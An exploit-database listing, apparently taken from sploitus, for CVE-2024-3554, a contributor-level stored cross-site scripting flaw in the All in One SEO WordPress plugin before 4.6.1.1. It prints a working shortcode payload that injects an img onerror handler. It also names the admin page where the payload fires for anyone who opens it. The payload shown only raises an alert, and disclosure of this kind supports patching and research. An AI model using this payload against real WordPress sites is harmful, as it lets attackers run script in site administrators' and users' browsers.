Exploit for All in One SEO – Best WordPress SEO Plugin – Easily Improve SEO Rankings & Increase Traffic < 4.6.1.1 - Contributor+ Stored Cross-Site Scripting via Shortcode CVE-2024-3554

Name: Exploit for All in One SEO – Best WordPress SEO Plugin – Easily Improve SEO Rankings & Increase Traffic < 4.6.1.1 - Contributor+ Stored Cross-Site Scripting via Shortcode CVE-2024-3554
Rating: 5 (150 reviews)

2024-04-29 | CVSS 6.4

## https://sploitus.com/exploit?id=WPEX-ID:827EBA98-2B91-4524-A71A-306A0C0E5FB8
As a contributor, add the following shortcode to a post:

[aioseo_html_sitemap label_tag="img src onerror=alert(/XSS-sitemap/)"]

The XSS will be triggered when anyone access the post dashboard (/wp-admin/edit.php?post_type=post)